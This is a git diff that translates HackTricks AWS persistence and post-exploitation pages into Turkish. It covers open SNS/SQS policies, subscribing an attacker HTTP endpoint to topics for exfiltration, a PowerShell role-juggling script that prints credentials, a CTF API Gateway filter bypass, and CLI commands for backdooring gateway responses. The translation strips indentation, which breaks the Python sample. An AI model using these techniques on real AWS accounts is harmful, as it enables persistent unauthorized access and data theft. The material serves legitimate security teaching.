+# AWS - Secrets Manager Sürekliliği {{#include ../../../banners/hacktricks-training.md}} ## Secrets Manager -For more info check: +Daha fazla bilgi için kontrol edin: {{#ref}} ../aws-services/aws-secrets-manager-enum.md {{#endref}} -### Via Resource Policies +### Kaynak Politikaları Aracılığıyla -It's possible to **grant access to secrets to external accounts** via resource policies. Check the [**Secrets Manager Privesc page**](../aws-privilege-escalation/aws-secrets-manager-privesc.md) for more information. Note that to **access a secret**, the external account will also **need access to the KMS key encrypting the secret**. +Kaynak politikaları aracılığıyla **gizli bilgilere dış hesapların erişimini sağlamak** mümkündür. Daha fazla bilgi için [**Secrets Manager Privesc sayfasını**](../aws-privilege-escalation/aws-secrets-manager-privesc.md) kontrol edin. **Bir gizli bilgiye erişmek** için dış hesabın ayrıca **gizli bilgiyi şifreleyen KMS anahtarına erişimi olması gerektiğini** unutmayın. -### Via Secrets Rotate Lambda +### Secrets Rotate Lambda Aracılığıyla -To **rotate secrets** automatically a configured **Lambda** is called. If an attacker could **change** the **code** he could directly **exfiltrate the new secret** to himself. - -This is how lambda code for such action could look like: +Gizli bilgileri otomatik olarak **değiştirmek** için yapılandırılmış bir **Lambda** çağrılır. Eğer bir saldırgan **kodunu değiştirebilirse**, yeni gizli bilgiyi doğrudan **kendi hesabına sızdırabilir**. +Bu tür bir eylem için lambda kodu şöyle görünebilir: ```python import boto3 def rotate_secrets(event, context): - # Create a Secrets Manager client - client = boto3.client('secretsmanager') +# Create a Secrets Manager client +client = boto3.client('secretsmanager') - # Retrieve the current secret value - secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString'] +# Retrieve the current secret value +secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString'] - # Rotate the secret by updating its value - new_secret_value = rotate_secret(secret_value) - client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value) +# Rotate the secret by updating its value +new_secret_value = rotate_secret(secret_value) +client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value) def rotate_secret(secret_value): - # Perform the rotation logic here, e.g., generate a new password +# Perform the rotation logic here, e.g., generate a new password - # Example: Generate a new password - new_secret_value = generate_password() +# Example: Generate a new password +new_secret_value = generate_password() - return new_secret_value +return new_secret_value def generate_password(): - # Example: Generate a random password using the secrets module - import secrets - import string - password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16)) - return password +# Example: Generate a random password using the secrets module +import secrets +import string +password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16)) +return password ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md index 8e97cc81c..0d3b6b0c6 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md @@ -1,85 +1,77 @@ -# AWS - SNS Persistence +# AWS - SNS Sürekliliği {{#include ../../../banners/hacktricks-training.md}} ## SNS -For more information check: +Daha fazla bilgi için kontrol edin: {{#ref}} ../aws-services/aws-sns-enum.md {{#endref}} -### Persistence - -When creating a **SNS topic** you need to indicate with an IAM policy **who has access to read and write**. It's possible to indicate external accounts, ARN of roles, or **even "\*"**.\ -The following policy gives everyone in AWS access to read and write in the SNS topic called **`MySNS.fifo`**: +### Süreklilik +Bir **SNS konusu** oluştururken, **kimlerin okuma ve yazma erişimine sahip olduğunu** IAM politikası ile belirtmeniz gerekir. Harici hesapları, rol ARN'lerini veya **hatta "\*"** belirtmek mümkündür.\ +Aşağıdaki politika, AWS'deki herkesin **`MySNS.fifo`** adlı SNS konusuna okuma ve yazma erişimi sağlar: ```json { - "Version": "2008-10-17", - "Id": "__default_policy_ID", - "Statement": [ - { - "Sid": "__default_statement_ID", - "Effect": "Allow", - "Principal": { - "AWS": "*" - }, - "Action": [ - "SNS:Publish", - "SNS:RemovePermission", - "SNS:SetTopicAttributes", - "SNS:DeleteTopic", - "SNS:ListSubscriptionsByTopic", - "SNS:GetTopicAttributes", - "SNS:AddPermission", - "SNS:Subscribe" - ], - "Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo", - "Condition": { - "StringEquals": { - "AWS:SourceOwner": "318142138553" - } - } - }, - { - "Sid": "__console_pub_0", - "Effect": "Allow", - "Principal": { - "AWS": "*" - }, - "Action": "SNS:Publish", - "Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo" - }, - { - "Sid": "__console_sub_0", - "Effect": "Allow", - "Principal": { - "AWS": "*" - }, - "Action": "SNS:Subscribe", - "Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo" - } - ] +"Version": "2008-10-17", +"Id": "__default_policy_ID", +"Statement": [ +{ +"Sid": "__default_statement_ID", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": [ +"SNS:Publish", +"SNS:RemovePermission", +"SNS:SetTopicAttributes", +"SNS:DeleteTopic", +"SNS:ListSubscriptionsByTopic", +"SNS:GetTopicAttributes", +"SNS:AddPermission", +"SNS:Subscribe" +], +"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo", +"Condition": { +"StringEquals": { +"AWS:SourceOwner": "318142138553" +} +} +}, +{ +"Sid": "__console_pub_0", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": "SNS:Publish", +"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo" +}, +{ +"Sid": "__console_sub_0", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": "SNS:Subscribe", +"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo" +} +] } ``` +### Aboneler Oluştur -### Create Subscribers - -To continue exfiltrating all the messages from all the topics and attacker could **create subscribers for all the topics**. - -Note that if the **topic is of type FIFO**, only subscribers using the protocol **SQS** can be used. +Tüm konulardan tüm mesajları dışarı aktarmaya devam etmek için saldırgan **tüm konular için aboneler oluşturabilir**. +**Konu FIFO türündeyse**, yalnızca **SQS** protokolünü kullanan aboneler kullanılabilir. ```bash aws sns subscribe --region \ - --protocol http \ - --notification-endpoint http:/// \ - --topic-arn +--protocol http \ +--notification-endpoint http:/// \ +--topic-arn ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md index 88f396173..09a229b21 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md @@ -1,43 +1,37 @@ -# AWS - SQS Persistence +# AWS - SQS Sürekliliği {{#include ../../../banners/hacktricks-training.md}} ## SQS -For more information check: +Daha fazla bilgi için kontrol edin: {{#ref}} ../aws-services/aws-sqs-and-sns-enum.md {{#endref}} -### Using resource policy - -In SQS you need to indicate with an IAM policy **who has access to read and write**. It's possible to indicate external accounts, ARN of roles, or **even "\*"**.\ -The following policy gives everyone in AWS access to everything in the queue called **MyTestQueue**: +### Kaynak politikasını kullanma +SQS'de **kimlerin okuma ve yazma erişimine sahip olduğunu** IAM politikası ile belirtmeniz gerekir. Harici hesapları, rol ARN'lerini veya **hatta "\*"** belirtmek mümkündür.\ +Aşağıdaki politika, AWS'deki herkesin **MyTestQueue** adlı kuyruğun içindeki her şeye erişim sağlamasını verir: ```json { - "Version": "2008-10-17", - "Id": "__default_policy_ID", - "Statement": [ - { - "Sid": "__owner_statement", - "Effect": "Allow", - "Principal": { - "AWS": "*" - }, - "Action": ["SQS:*"], - "Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue" - } - ] +"Version": "2008-10-17", +"Id": "__default_policy_ID", +"Statement": [ +{ +"Sid": "__owner_statement", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": ["SQS:*"], +"Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue" +} +] } ``` - > [!NOTE] -> You could even **trigger a Lambda in the attackers account every-time a new message** is put in the queue (you would need to re-put it) somehow. For this follow these instructinos: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html) +> Her seferinde kuyrukta yeni bir mesaj **eklendiğinde saldırganın hesabında bir Lambda tetikleyebilirsiniz** (bunu yeniden eklemeniz gerekecek) bir şekilde. Bunun için bu talimatları izleyin: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md index c1b9a422b..a6d853f3f 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md @@ -1,6 +1 @@ -# AWS - SSM Perssitence - - - - - +# AWS - SSM Sürekliliği diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md index 4e8c120ff..6367bcce2 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md @@ -1,25 +1,21 @@ -# AWS - Step Functions Persistence +# AWS - Step Functions Sürekliliği {{#include ../../../banners/hacktricks-training.md}} ## Step Functions -For more information check: +Daha fazla bilgi için kontrol edin: {{#ref}} ../aws-services/aws-stepfunctions-enum.md {{#endref}} -### Step function Backdooring +### Step Function Arka Kapı Açma -Backdoor a step function to make it perform any persistence trick so every time it's executed it will run your malicious steps. +Bir step function'ı arka kapı açarak, her çalıştırıldığında kötü niyetli adımlarınızı çalıştıracak şekilde herhangi bir süreklilik numarasını gerçekleştirmesini sağlayın. -### Backdooring aliases +### Arka Kapı Açma Takma Adları -If the AWS account is using aliases to call step functions it would be possible to modify an alias to use a new backdoored version of the step function. +Eğer AWS hesabı step function'ları çağırmak için takma adlar kullanıyorsa, bir takma adı değiştirerek step function'ın yeni arka kapılı versiyonunu kullanmak mümkün olacaktır. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md index 74db04bec..e128ae9ea 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md @@ -1,65 +1,62 @@ -# AWS - STS Persistence +# AWS - STS Sürekliliği {{#include ../../../banners/hacktricks-training.md}} ## STS -For more information access: +Daha fazla bilgi için erişin: {{#ref}} ../aws-services/aws-sts-enum.md {{#endref}} -### Assume role token +### Rol üstlenme tokeni -Temporary tokens cannot be listed, so maintaining an active temporary token is a way to maintain persistence. +Geçici tokenler listelenemez, bu nedenle aktif bir geçici tokeni sürdürmek, sürekliliği sağlamak için bir yoldur.
aws sts get-session-token --duration-seconds 129600
 
-# With MFA
+# MFA ile
 aws sts get-session-token \
-    --serial-number <mfa-device-name> \
-    --token-code <code-from-token>
+--serial-number <mfa-device-name> \
+--token-code <code-from-token>
 
-# Hardware device name is usually the number from the back of the device, such as GAHT12345678
-# SMS device name is the ARN in AWS, such as arn:aws:iam::123456789012:sms-mfa/username
-# Vritual device name is the ARN in AWS, such as arn:aws:iam::123456789012:mfa/username
+# Donanım cihazı adı genellikle cihazın arkasındaki numaradır, örneğin GAHT12345678
+# SMS cihaz adı AWS'deki ARN'dir, örneğin arn:aws:iam::123456789012:sms-mfa/kullanıcı adı
+# Sanal cihaz adı AWS'deki ARN'dir, örneğin arn:aws:iam::123456789012:mfa/kullanıcı adı
 
-### Role Chain Juggling +### Rol Zinciri Oynama -[**Role chaining is an acknowledged AWS feature**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), often utilized for maintaining stealth persistence. It involves the ability to **assume a role which then assumes another**, potentially reverting to the initial role in a **cyclical manner**. Each time a role is assumed, the credentials' expiration field is refreshed. Consequently, if two roles are configured to mutually assume each other, this setup allows for the perpetual renewal of credentials. - -You can use this [**tool**](https://github.com/hotnops/AWSRoleJuggler/) to keep the role chaining going: +[**Rol zincirleme, kabul edilen bir AWS özelliğidir**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), genellikle gizli sürekliliği sağlamak için kullanılır. Bu, **bir rolü üstlenme ve ardından başka bir rolü üstlenme** yeteneğini içerir ve potansiyel olarak başlangıç rolüne **döngüsel bir şekilde** geri dönebilir. Her seferinde bir rol üstlenildiğinde, kimlik bilgileri süresinin sona erme alanı yenilenir. Sonuç olarak, iki rol karşılıklı olarak birbirini üstlenmek üzere yapılandırıldığında, bu yapılandırma kimlik bilgilerini sürekli olarak yenileme imkanı sağlar. +Rol zincirini sürdürmek için bu [**aracı**](https://github.com/hotnops/AWSRoleJuggler/) kullanabilirsiniz: ```bash ./aws_role_juggler.py -h usage: aws_role_juggler.py [-h] [-r ROLE_LIST [ROLE_LIST ...]] optional arguments: - -h, --help show this help message and exit - -r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...] +-h, --help show this help message and exit +-r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...] ``` - > [!CAUTION] -> Note that the [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) script from that Github repository doesn't find all the ways a role chain can be configured. +> Bu Github deposundaki [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) betiğinin bir rol zincirinin yapılandırılabileceği tüm yolları bulmadığını unutmayın.
-Code to perform Role Juggling from PowerShell - +PowerShell'den Rol Juggling yapmak için Kod ```powershell # PowerShell script to check for role juggling possibilities using AWS CLI # Check for AWS CLI installation if (-not (Get-Command "aws" -ErrorAction SilentlyContinue)) { - Write-Error "AWS CLI is not installed. Please install it and configure it with 'aws configure'." - exit +Write-Error "AWS CLI is not installed. Please install it and configure it with 'aws configure'." +exit } # Function to list IAM roles function List-IAMRoles { - aws iam list-roles --query "Roles[*].{RoleName:RoleName, Arn:Arn}" --output json +aws iam list-roles --query "Roles[*].{RoleName:RoleName, Arn:Arn}" --output json } # Initialize error count @@ -70,66 +67,61 @@ $roles = List-IAMRoles | ConvertFrom-Json # Attempt to assume each role foreach ($role in $roles) { - $sessionName = "RoleJugglingTest-" + (Get-Date -Format FileDateTime) - try { - $credentials = aws sts assume-role --role-arn $role.Arn --role-session-name $sessionName --query "Credentials" --output json 2>$null | ConvertFrom-Json - if ($credentials) { - Write-Host "Successfully assumed role: $($role.RoleName)" - Write-Host "Access Key: $($credentials.AccessKeyId)" - Write-Host "Secret Access Key: $($credentials.SecretAccessKey)" - Write-Host "Session Token: $($credentials.SessionToken)" - Write-Host "Expiration: $($credentials.Expiration)" +$sessionName = "RoleJugglingTest-" + (Get-Date -Format FileDateTime) +try { +$credentials = aws sts assume-role --role-arn $role.Arn --role-session-name $sessionName --query "Credentials" --output json 2>$null | ConvertFrom-Json +if ($credentials) { +Write-Host "Successfully assumed role: $($role.RoleName)" +Write-Host "Access Key: $($credentials.AccessKeyId)" +Write-Host "Secret Access Key: $($credentials.SecretAccessKey)" +Write-Host "Session Token: $($credentials.SessionToken)" +Write-Host "Expiration: $($credentials.Expiration)" - # Set temporary credentials to assume the next role - $env:AWS_ACCESS_KEY_ID = $credentials.AccessKeyId - $env:AWS_SECRET_ACCESS_KEY = $credentials.SecretAccessKey - $env:AWS_SESSION_TOKEN = $credentials.SessionToken +# Set temporary credentials to assume the next role +$env:AWS_ACCESS_KEY_ID = $credentials.AccessKeyId +$env:AWS_SECRET_ACCESS_KEY = $credentials.SecretAccessKey +$env:AWS_SESSION_TOKEN = $credentials.SessionToken - # Try to assume another role using the temporary credentials - foreach ($nextRole in $roles) { - if ($nextRole.Arn -ne $role.Arn) { - $nextSessionName = "RoleJugglingTest-" + (Get-Date -Format FileDateTime) - try { - $nextCredentials = aws sts assume-role --role-arn $nextRole.Arn --role-session-name $nextSessionName --query "Credentials" --output json 2>$null | ConvertFrom-Json - if ($nextCredentials) { - Write-Host "Also successfully assumed role: $($nextRole.RoleName) from $($role.RoleName)" - Write-Host "Access Key: $($nextCredentials.AccessKeyId)" - Write-Host "Secret Access Key: $($nextCredentials.SecretAccessKey)" - Write-Host "Session Token: $($nextCredentials.SessionToken)" - Write-Host "Expiration: $($nextCredentials.Expiration)" - } - } catch { - $errorCount++ - } - } - } +# Try to assume another role using the temporary credentials +foreach ($nextRole in $roles) { +if ($nextRole.Arn -ne $role.Arn) { +$nextSessionName = "RoleJugglingTest-" + (Get-Date -Format FileDateTime) +try { +$nextCredentials = aws sts assume-role --role-arn $nextRole.Arn --role-session-name $nextSessionName --query "Credentials" --output json 2>$null | ConvertFrom-Json +if ($nextCredentials) { +Write-Host "Also successfully assumed role: $($nextRole.RoleName) from $($role.RoleName)" +Write-Host "Access Key: $($nextCredentials.AccessKeyId)" +Write-Host "Secret Access Key: $($nextCredentials.SecretAccessKey)" +Write-Host "Session Token: $($nextCredentials.SessionToken)" +Write-Host "Expiration: $($nextCredentials.Expiration)" +} +} catch { +$errorCount++ +} +} +} - # Reset environment variables - Remove-Item Env:\AWS_ACCESS_KEY_ID - Remove-Item Env:\AWS_SECRET_ACCESS_KEY - Remove-Item Env:\AWS_SESSION_TOKEN - } else { - $errorCount++ - } - } catch { - $errorCount++ - } +# Reset environment variables +Remove-Item Env:\AWS_ACCESS_KEY_ID +Remove-Item Env:\AWS_SECRET_ACCESS_KEY +Remove-Item Env:\AWS_SESSION_TOKEN +} else { +$errorCount++ +} +} catch { +$errorCount++ +} } # Output the number of errors if any if ($errorCount -gt 0) { - Write-Host "$errorCount error(s) occurred during role assumption attempts." +Write-Host "$errorCount error(s) occurred during role assumption attempts." } else { - Write-Host "No errors occurred. All roles checked successfully." +Write-Host "No errors occurred. All roles checked successfully." } Write-Host "Role juggling check complete." ``` -
{{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/README.md index 53f79d916..941a860e3 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/README.md @@ -1,6 +1 @@ # AWS - Post Exploitation - - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md index 4847c40e0..f51c84f1e 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md @@ -4,48 +4,43 @@ ## API Gateway -For more information check: +Daha fazla bilgi için kontrol edin: {{#ref}} ../aws-services/aws-api-gateway-enum.md {{#endref}} -### Access unexposed APIs +### Açık Olmayan API'lere Erişim -You can create an endpoint in [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) with the service `com.amazonaws.us-east-1.execute-api`, expose the endpoint in a network where you have access (potentially via an EC2 machine) and assign a security group allowing all connections.\ -Then, from the EC2 machine you will be able to access the endpoint and therefore call the gateway API that wasn't exposed before. +[https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) adresinde `com.amazonaws.us-east-1.execute-api` servisi ile bir uç nokta oluşturabilirsiniz, bu uç noktayı erişiminiz olan bir ağda (potansiyel olarak bir EC2 makinesi aracılığıyla) açığa çıkarın ve tüm bağlantılara izin veren bir güvenlik grubu atayın.\ +Daha sonra, EC2 makinesinden uç noktaya erişebilecek ve daha önce açığa çıkarılmamış olan gateway API'yi çağırabileceksiniz. -### Bypass Request body passthrough +### İstek Gövdesi Geçişini Atlatma -This technique was found in [**this CTF writeup**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp). +Bu teknik [**bu CTF yazısında**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp) bulundu. -As indicated in the [**AWS documentation**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) in the `PassthroughBehavior` section, by default, the value **`WHEN_NO_MATCH`** , when checking the **Content-Type** header of the request, will pass the request to the back end with no transformation. - -Therefore, in the CTF the API Gateway had an integration template that was **preventing the flag from being exfiltrated** in a response when a request was sent with `Content-Type: application/json`: +[AWS belgelerinde](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) `PassthroughBehavior` bölümünde belirtildiği gibi, varsayılan olarak, **`WHEN_NO_MATCH`** değeri, isteğin **Content-Type** başlığını kontrol ederken, isteği herhangi bir dönüşüm olmadan arka uca iletecektir. +Bu nedenle, CTF'de API Gateway, `Content-Type: application/json` ile bir istek gönderildiğinde **bayrağın dışarı sızmasını engelleyen** bir entegrasyon şablonuna sahipti: ```yaml RequestTemplates: - application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}' +application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}' ``` +Ancak, **`Content-type: text/json`** ile bir istek göndermek bu filtreyi engelleyecektir. -However, sending a request with **`Content-type: text/json`** would prevent that filter. - -Finally, as the API Gateway was only allowing `Get` and `Options`, it was possible to send an arbitrary dynamoDB query without any limit sending a POST request with the query in the body and using the header `X-HTTP-Method-Override: GET`: - +Son olarak, API Gateway yalnızca `Get` ve `Options` izin verdiğinden, gövdesinde sorgu bulunan bir POST isteği göndererek sınırsız bir dinamik DynamoDB sorgusu göndermek mümkündü ve `X-HTTP-Method-Override: GET` başlığını kullanarak: ```bash curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json' --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}' ``` +### Kullanım Planları DoS -### Usage Plans DoS +**Enumeration** bölümünde anahtarların **kullanım planını** nasıl **edineceğinizi** görebilirsiniz. Anahtarınız varsa ve bu anahtar **aylık X kullanım** ile **sınırlıysa**, **onu kullanabilir ve bir DoS oluşturabilirsiniz**. -In the **Enumeration** section you can see how to **obtain the usage plan** of the keys. If you have the key and it's **limited** to X usages **per month**, you could **just use it and cause a DoS**. - -The **API Key** just need to be **included** inside a **HTTP header** called **`x-api-key`**. +**API Anahtarı** sadece **`x-api-key`** adlı bir **HTTP başlığına** **eklenmelidir**. ### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment` -An attacker with the permissions `apigateway:UpdateGatewayResponse` and `apigateway:CreateDeployment` can **modify an existing Gateway Response to include custom headers or response templates that leak sensitive information or execute malicious scripts**. - +`apigateway:UpdateGatewayResponse` ve `apigateway:CreateDeployment` izinlerine sahip bir saldırgan, **özel başlıklar veya hassas bilgileri sızdıran ya da kötü niyetli betikleri çalıştıran yanıt şablonları içerecek şekilde mevcut bir Gateway Yanıtını değiştirebilir**. ```bash API_ID="your-api-id" RESPONSE_TYPE="DEFAULT_4XX" @@ -56,16 +51,14 @@ aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RE # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` - -**Potential Impact**: Leakage of sensitive information, executing malicious scripts, or unauthorized access to API resources. +**Potansiyel Etki**: Hassas bilgilerin sızdırılması, kötü niyetli betiklerin çalıştırılması veya API kaynaklarına yetkisiz erişim. > [!NOTE] -> Need testing +> Test edilmesi gerekiyor ### `apigateway:UpdateStage`, `apigateway:CreateDeployment` -An attacker with the permissions `apigateway:UpdateStage` and `apigateway:CreateDeployment` can **modify an existing API Gateway stage to redirect traffic to a different stage or change the caching settings to gain unauthorized access to cached data**. - +`apigateway:UpdateStage` ve `apigateway:CreateDeployment` izinlerine sahip bir saldırgan, **mevcut bir API Gateway aşamasını trafiği farklı bir aşamaya yönlendirecek şekilde değiştirebilir veya önbellek ayarlarını değiştirerek önbelleğe alınmış verilere yetkisiz erişim elde edebilir**. ```bash API_ID="your-api-id" STAGE_NAME="Prod" @@ -76,16 +69,14 @@ aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --pat # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` - -**Potential Impact**: Unauthorized access to cached data, disrupting or intercepting API traffic. +**Potansiyel Etki**: Önbelleğe alınmış verilere yetkisiz erişim, API trafiğini kesintiye uğratma veya yakalama. > [!NOTE] -> Need testing +> Test edilmesi gerekiyor ### `apigateway:PutMethodResponse`, `apigateway:CreateDeployment` -An attacker with the permissions `apigateway:PutMethodResponse` and `apigateway:CreateDeployment` can **modify the method response of an existing API Gateway REST API method to include custom headers or response templates that leak sensitive information or execute malicious scripts**. - +`apigateway:PutMethodResponse` ve `apigateway:CreateDeployment` izinlerine sahip bir saldırgan, **mevcut bir API Gateway REST API yönteminin yöntem yanıtını, hassas bilgileri sızdıran veya kötü niyetli betikleri çalıştıran özel başlıklar veya yanıt şablonları içerecek şekilde değiştirebilir**. ```bash API_ID="your-api-id" RESOURCE_ID="your-resource-id" @@ -98,16 +89,14 @@ aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` - -**Potential Impact**: Leakage of sensitive information, executing malicious scripts, or unauthorized access to API resources. +**Potansiyel Etki**: Hassas bilgilerin sızması, kötü niyetli betiklerin çalıştırılması veya API kaynaklarına yetkisiz erişim. > [!NOTE] -> Need testing +> Test edilmesi gerekiyor ### `apigateway:UpdateRestApi`, `apigateway:CreateDeployment` -An attacker with the permissions `apigateway:UpdateRestApi` and `apigateway:CreateDeployment` can **modify the API Gateway REST API settings to disable logging or change the minimum TLS version, potentially weakening the security of the API**. - +`apigateway:UpdateRestApi` ve `apigateway:CreateDeployment` izinlerine sahip bir saldırgan, **API Gateway REST API ayarlarını güncelleyerek günlüklemeyi devre dışı bırakabilir veya minimum TLS sürümünü değiştirebilir, bu da API'nin güvenliğini zayıflatabilir**. ```bash API_ID="your-api-id" @@ -117,16 +106,14 @@ aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=repla # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` - -**Potential Impact**: Weakening the security of the API, potentially allowing unauthorized access or exposing sensitive information. +**Potansiyel Etki**: API'nin güvenliğini zayıflatma, yetkisiz erişime veya hassas bilgilerin ifşasına neden olma potansiyeli. > [!NOTE] -> Need testing +> Test edilmesi gerekiyor ### `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, `apigateway:CreateUsagePlanKey` -An attacker with permissions `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, and `apigateway:CreateUsagePlanKey` can **create new API keys, associate them with usage plans, and then use these keys for unauthorized access to APIs**. - +`apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan` ve `apigateway:CreateUsagePlanKey` izinlerine sahip bir saldırgan **yeni API anahtarları oluşturabilir, bunları kullanım planlarıyla ilişkilendirebilir ve ardından bu anahtarları API'lere yetkisiz erişim için kullanabilir**. ```bash # Create a new API key API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id') @@ -137,14 +124,9 @@ USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --outp # Associate the API key with the usage plan aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY ``` +**Potansiyel Etki**: API kaynaklarına yetkisiz erişim, güvenlik kontrollerinin atlatılması. -**Potential Impact**: Unauthorized access to API resources, bypassing security controls. - -> [!NOTE] -> Need testing +> [!NOT] +> Test edilmesi gerekiyor {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md index 4a3c4ff21..f6faedf8b 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md +++ 